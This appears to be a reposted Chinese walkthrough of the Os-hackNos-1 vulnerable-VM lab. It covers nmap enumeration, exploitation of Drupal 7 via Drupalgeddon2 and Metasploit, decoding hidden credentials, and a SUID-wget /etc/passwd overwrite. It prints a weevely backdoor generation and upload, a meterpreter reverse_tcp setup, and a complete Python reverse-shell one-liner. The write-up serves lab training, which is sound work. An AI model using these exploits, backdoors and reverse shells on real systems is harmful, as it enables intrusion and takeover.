vulhub - Os-hackNos-1

Posted 在下小黄

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了vulhub - Os-hackNos-1相关的知识,希望对你有一定的参考价值。

一、环境搭建:Os-hackNos-1靶机

  • 实验主机:kali linux 2021 虚拟机(VM)
  • 实验靶机:Os-hackNos-1靶机(VM)
  • 实验网络:NAT模式
  • 实验难度:简单
  • flag:1.普通用户的user.txt;2.root用户的user.txt
  • 技能:漏洞利用 | web应用 | 暴力破解 | 权限提升

二、信息收集:

主机发现:

  • 确认自己的信息:
ifconfig

  • 探测网段存活主机:
nmap -sP 192.168.138.0/24

端口扫描:

  • 探测操作系统及软件版本信息
nmap -sTV -p- -Pn 192.168.138.129

  • 经过探测我们发现,开放了22、80端口
22 端口 :SSH 服务端口,可能存在 弱口令和暴利破解
80 端口 :HTTP端口,可以通过目录扫描,去发现网站目录或者网站源码泄露或者备份文件泄露
  • 尝试访问一下 80端口

目录探测:

  • 探测一下网站目录信息:
探测到的网站目录信息:

http://192.168.138.129/drupal
http://192.168.138.129/index.html
http://192.168.138.129/serverstatus
http://192.168.138.129/drupal/includes
http://192.168.138.129/drupal/index.php
http://192.168.138.129/drupal/misc/                              
http://192.168.138.129/drupal/modules/                           
http://192.168.138.129/drupal/profiles/                          
http://192.168.138.129/drupal/robots.txt
http://192.168.138.129/drupal/scripts/                           
http://192.168.138.129/drupal/sites/                             
http://192.168.138.129/drupal/themes/                            
http://192.168.138.129/drupal/web.config
http://192.168.138.129/drupal/xmlrpc.php




  • 可以看到网站CMS为drupal7,是存在一个远程代码执行的漏洞的,使用kali的msf模块,搜索drupal对应的exp

三、漏洞发现

  • 发现CMS版本为drupal7 ,搜索一下关于这个的版本CMS漏洞

四、漏洞利用

git clone https://github.com/dreadlocked/Drupalgeddon2.git

在运行脚本前,需要预装依赖包 highline
gem install highline

./drupalgeddon2.rb http://192.168.X.X/drupal/  (靶机IP地址)

查看权限:
id

查看目录文件:
ls -lh


五、权限提升

利用weevely(kali 菜刀)

  • 使用weevely 生成木马,再将木马上传到靶机上。
生成木马:
weevely generate hello ./door.php

打开kali web服务器:
python -m SimpleHTTPServer

在靶机上使用wget工具下载 kali 上生成的木马文件:
wget http://192.168.x.x:8000/door.php



  • 使用weevely生成的木马内容

浏览用户目录:查看是否存在对我们有用的信息
cd /home
ls -lh
cd james
ls -lh
cat user.txt

  • james用户目录下发现一串MD5哈希,估计是密码
bae11ce4f67af91fa58576c1da2aad4b   解码失败

  • 浏览一下网站根目录,看看有没有别的利用途径:
切换到网站根目录:
cd /var/www/html
ls -lh

cat alexander.txt    在这个文件中发现一串base64编码的密文

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==

+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[->+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+++.<


  • 解密结果很明显又使用了别的加密方式,网上查找资料后发现为Brainfuck加密,使用Brainfuck解码
  • 解码之后得到:james:Hacker4514
Brainfuck解密网站:
https://www.splitbrain.org/services/ook
https://www.dcode.fr/brainfuck-language

切换用户:

  • 尝试切换用户,发现并不能切换用户。

suid 提权:

  • 先检查哪些命令具有suid权限(具有suid权限的命令可以以文件拥有者的权限执行)
 audit_suidsgid -only-suid /

  • 可以看到是拥有wget的权限的,进入/etc目录,开启一个临时web服务
cd /etc																					# 切换到 /etc目录下
python3 -m http.server 8888  										# 在靶机上开启一个临时web服务

wget http://192.168.x.x:8888/passwd         		# 在kali上密码文件下载到本地

openssl passwd -1 -salt 账号 密码 					 		 # 利用openssl工具做加密 

python3 -m http.server 9999  										# 在kali上开启一个临时web服务

wget http://192.168.1.7:9999/passwd -0 passwd 	# 在靶机上,将passwd文件从kali上下载到靶机上来

su xiaohuang																		# 切换用户,切换到你刚才设置的



  • 然后回到Os-hackNos-1靶机这边,将密码文件下载过来,并将原密码文件覆盖

  • 查看passwd文件内容,可以看到写入的用户已经成功添加进去了

  • 呕吼 ,切换失败了,(太草了)

msfconsole																																	# 开启msf

search drupal																																# 搜索漏洞组件
use exploit/unix/webapp/drupal_drupalgeddon2(use 模块名称 ) 							 # 选择使用的工具模块

set payload php/meterpreter/reverse_tcp(set payload + 给出指定路径)				 # 设置payload												

set rhosts 192.168.58.156(目标靶机IP地址)																	 # 设置攻击目标	
set lhost 192.168.58.130(攻击机IP地址)																		  # 设置本地监听
set TARGETURI /drupal(目标靶机IP地址)																			 # 设置drupal网站路径
		
run																																				 # 开始攻击

尝试使用NC 反弹一个交互式 shell:
nc -lvvp 4444																															 # 开启本地监听

meterpreter > shell																												 # 写入shell

shell:  需要写入自己的监听地址

python3 -c'import pty; pty.spawn("/bin/bash")'

或

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("本机监听IP地址",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'





拓展:


各位路过的朋友,如果觉得可以学到些什么的话,点个赞 再走吧,欢迎各位路过的大佬评论,指正错误,也欢迎有问题的小伙伴评论留言,私信。

每个小伙伴的关注都是本人更新博客的动力!!!
请微信搜索【 在下小黄 】文章更新将在第一时间阅读 !

博客中若有不恰当的地方,请您一定要告诉我。前路崎岖,望我们可以互相帮助,并肩前行!


以上是关于vulhub - Os-hackNos-1的主要内容,如果未能解决你的问题,请参考以下文章

Vulhub漏洞CVE-2017-10271复现

Vulhub漏洞CVE-2017-10271复现

PHP 8.1.0-dev 后门远程命令执行漏洞(vulhub)

安全-Fastjson 小于等于1.2.24版本代码执行漏洞复现(vulhub)

安全-Weblogic 小于10.3.6版本WLS组件反序列化漏洞复现(vulhub)

Os-hackNos-1(drupal7+suid提权)